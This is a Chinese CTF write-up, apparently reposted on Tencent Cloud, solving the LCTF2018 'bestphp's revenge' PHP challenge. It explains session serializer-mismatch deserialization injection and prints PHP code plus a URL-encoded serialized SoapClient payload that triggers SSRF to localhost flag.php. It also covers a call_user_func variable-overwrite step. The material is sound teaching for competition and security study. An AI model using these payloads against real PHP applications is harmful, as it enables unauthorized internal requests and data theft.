学习
实践
活动
专区
工具
TVP
写文章
专栏首页安恒网络空间安全讲武堂LCTF2018-bestphp's revenge 详细题解

LCTF2018-bestphp's revenge 详细题解

被LCTF虐自闭了,但是也学到了不少东西。题目质量和运维都很赞。

题目

题目给了源码

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

这里只需要关注call_user_func这个回调函数。 call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数,还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调。 例如

<?php
class myclass{
    static function say_hello(){
        echo "hello!";
    }
}
$classname = "myclass";
call_user_func(array($classname,'say_hello'));

结果就会调用类myclass中的say_hello方法,输出hello!。 还有一个flag.php

session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

首先想到的是需要构造ssrf去访问flag.php,然后获取flag。再利用变量覆盖把SESSION中的flag打印出来。

PHP中SESSION反序列化机制

可以参考乘物游心师傅的文章:https://blog.spoock.com/2016/10/16/php-serialize-problem/ 在寻找可以接收数组并且能够SSRF的函数时,题目给了hint:反序列化。 题目中并没有反序列化函数,由于session文件内容的格式不好控制,也无法利用phar://进行反序列化,那么基本就可以确定题目与PHP中SESSION的反序列化机制有关。 我们可以利用回调函数来覆盖session默认的序列化引擎。 阿桦师傅的XCTF Final Web1 Writeup:https://www.jianshu.com/p/7d63eca80686中有类似的方法,利用回调函数调用session_start函数,修改session的位置,再配合LFI进行getshell。

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。 存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。 在php.ini中存在三项配置项:

session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)

session.serialize_handler存在以下几种

php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。 php_binary引擎格式

<0x04>names:5:"Smi1e";

php引擎格式

name|s:5:"Smi1e";

php_searialize引擎格式

a:1:{s:4:"name";s:5:"Smi1e";}

当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。 例如传入$_SESSION['name']='|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}'; 序列化引擎使用的是php_serialize,那么储存的session文件为

a:1:{s:4:"name";s:5:"|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}";}

而反序列化引擎如果使用的是php,就会把|作为作为key和value的分隔符。把a:1:{s:4:"name";s:5:"当作键名,而把O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}当作经过serialize()函数处理过的值,最后会把它进行unserialize处理,此时就构成了一次反序列化注入攻击。

寻找可以SSRF的类

题目中的源码并没有类,因此只能去利用php的原生类。 在l3m0n师傅的文章中找到可以利用php原生类SoapClient中的__call方法进行SSRF。 原文地址:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0 那么本题的思路就清晰了。 利用回调函数覆盖session序列化引擎为php_serilaze,构造SSRF的Soap类的序列化字符串配合序列化注入写入session文件,然后利用变量覆盖漏洞,覆盖掉变量b为回调函数call_user_func,此时结合我刚开始所说的回调函数调用Soap类的未知方法,触发__call方法进行SSRF访问flag.php。把flag写入session,再把session打印出来即可。

解题

构造SSRF的Soap类的序列化字符串

<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

本地生成payload:|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D 覆盖序列化引擎并将构造的Soap类序列化字符串写入session文件。

此时session_start()序列化使用的是php引擎。接下里我们覆盖变量b,利用call_user_func调用SoapClient类中的不存在方法,触发__call方法,执行ssrf。并获得访问flag.php的PHPSESSID。

获得的PHPSESSID的SESSION中的flag。

很nice的题目,再次给西电的师傅们点个赞。希望这种比赛以后多一点,少一点辣鸡比赛。

文章分享自微信公众号:
安恒网络空间安全讲武堂

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

原始发表时间:2018-11-29
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • LCTF2018-bestphp's revenge 详细题解

    这里只需要关注call_user_func这个回调函数。 call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数...

    安恒网络空间安全讲武堂
  • HDU P3341 Lost’s revenge 题解+数据生成器

    Lost and AekdyCoin are friends. They always play “number game”(A boring game bas...

    全栈程序员站长
  • 5位可控字符下的任意命令执行 - 另一种解题方法

    题目是hitcon-ctf-2017的babyfirst-revenge,之前是针对babyfirst-revenge-v2来进行学习研究的

    Ms08067安全实验室
  • 第十四届蓝桥杯集训——练习解题阶段(无序阶段)-ALGO-161 Abbott’s Revenge(C++写法)

    第十四届蓝桥杯集训——练习解题阶段(无序阶段)-ALGO-161 Abbott’s Revenge(C++写法)

    红目香薰
  • OpenAI算法掌握困难游戏,AI智能体胜过人类玩家

    OpenAI最新论文中,详细介绍了在复古平台游戏Montezuma’s Revenge中AI胜过人类玩家。表现最佳的迭代发现了第一关中24个房间中的22个,偶尔...

    AiTechYun
  • hdoj 3341 Lost’s revenge 【AC自动机 + 变进制状态压缩dp】

    题意:n个模式串和一个文本串,可以重排文本串。问你重排后的文本串中最多含有多少个模式串(可以重叠)。

    全栈程序员站长
  • 设备树格式[通俗易懂]

      设备树是一个简单的包含节点和属性的树结构。属性通过键值对形式描述,一个节点可以包含多个属性或子节点,一个简单的 .dts 格式设备树如下所示。

    全栈程序员站长
  • 挑战程序竞赛系列(46):4.1Polya 计数定理(2)

    思路: 首先能想到的是Polya计数,但是此题的trick在于还需要控制A或B不能连续出现的次数。

    用户1147447
  • 【Nature重磅】OpenAI科学家提出全新强化学习算法,推动AI向智能体进化

    近年来,人工智能(AI)在强化学习算法的加持下,取得了令人瞩目的成就。比如在围棋、星际争霸 II 和 Dota 2 等诸多策略、竞技类游戏中,AI 都有着世界冠...

    深度强化学习实验室
  • DeepMind 提出分层强化学习新模型 FuN,超越 LSTM

    【新智元导读】在用强化学习玩游戏的路上越走越远的 DeepMind,今天发表在 arxiv上的最新论文《分层强化学习的 FeUdal 网络》引起热议。简称 Fu...

    新智元
  • 【机器学习 基本概念】监督学习、无监督学习、半监督学习与强化学习

    一般说来,训练深度学习网络的方式主要有四种:监督、无监督、半监督和强化学习。在接下来的文章中,计算机视觉战队将逐个解释这些方法背后所蕴含的理论知识。除此之外,...

    魏晓蕾
  • 一文读懂监督学习、无监督学习、半监督学习、强化学习这四种深度学习方式

    一般说来,训练深度学习网络的方式主要有四种:监督、无监督、半监督和强化学习。在接下来的文章中,计算机视觉战队将逐个解释这些方法背后所蕴含的理论知识。除此之外,计...

    计算机视觉研究院
  • 2018年最后几天学什么?给你关注度最高的10篇文章

    【导语】我们从 12 月里近1400篇机器学习文章进行了排名,并挑选出最受大家关注的十篇文章。这些文章的内容主要是由 Google、DeepMind、OpenA...

    AI科技大本营
  • 最新机器学习开源项目 Top10

    【导读】过去一个月里,我们对近 1400 个机器学习项目进行了排名,并挑选出热度前 10 的项目。这份清单涵盖了包括 OpenAI 最新开发的 RND 算法、U...

    abs_zero
  • AC自动机总结「建议收藏」

    由于大连现场赛的一道 AC自动机+ DP的题目(zoj3545 Rescue the Rabbit)被小媛同学推荐看 AC自动机。经过一段时间的努力...

    全栈程序员站长
  • 最新机器学习开源项目Top10

    【导读】过去一个月里,我们对近 1400 个机器学习项目进行了排名,并挑选出热度前 10 的项目。这份清单涵盖了包括 OpenAI 最新开发的 RND 算法、U...

    AI科技大本营
  • 51Nod-1837-砝码称重

    ACM模版 描述 ? 题解 根据题目中的样例解释,我们完全可以大胆的猜测,次数至多不超过两次,所以一共可能是 0、1、20、1、2 次,00 次很容易想就是 n...

    f_zyj
  • 51Nod-1661-黑板上的游戏

    ACM模版 描述 ? 题解 很少见官方题解如此长篇大论(详细): ? 另外看到一个比较好的博客,讲得也十分详细,代码也十分的好,WildKid1024’s bl...

    f_zyj
  • 观点 | 我在谷歌大脑工作的 18 个月中,是怎样研究强化学习的?

    AI 科技评论按:在强化学习领域,谷歌大脑的研究内容一直是业界重点关注的对象。Marc G. Bellemare 是谷歌大脑的研究员,研究方向为分布式强化学习、...

    AI研习社

扫码关注腾讯云开发者

领取腾讯云代金券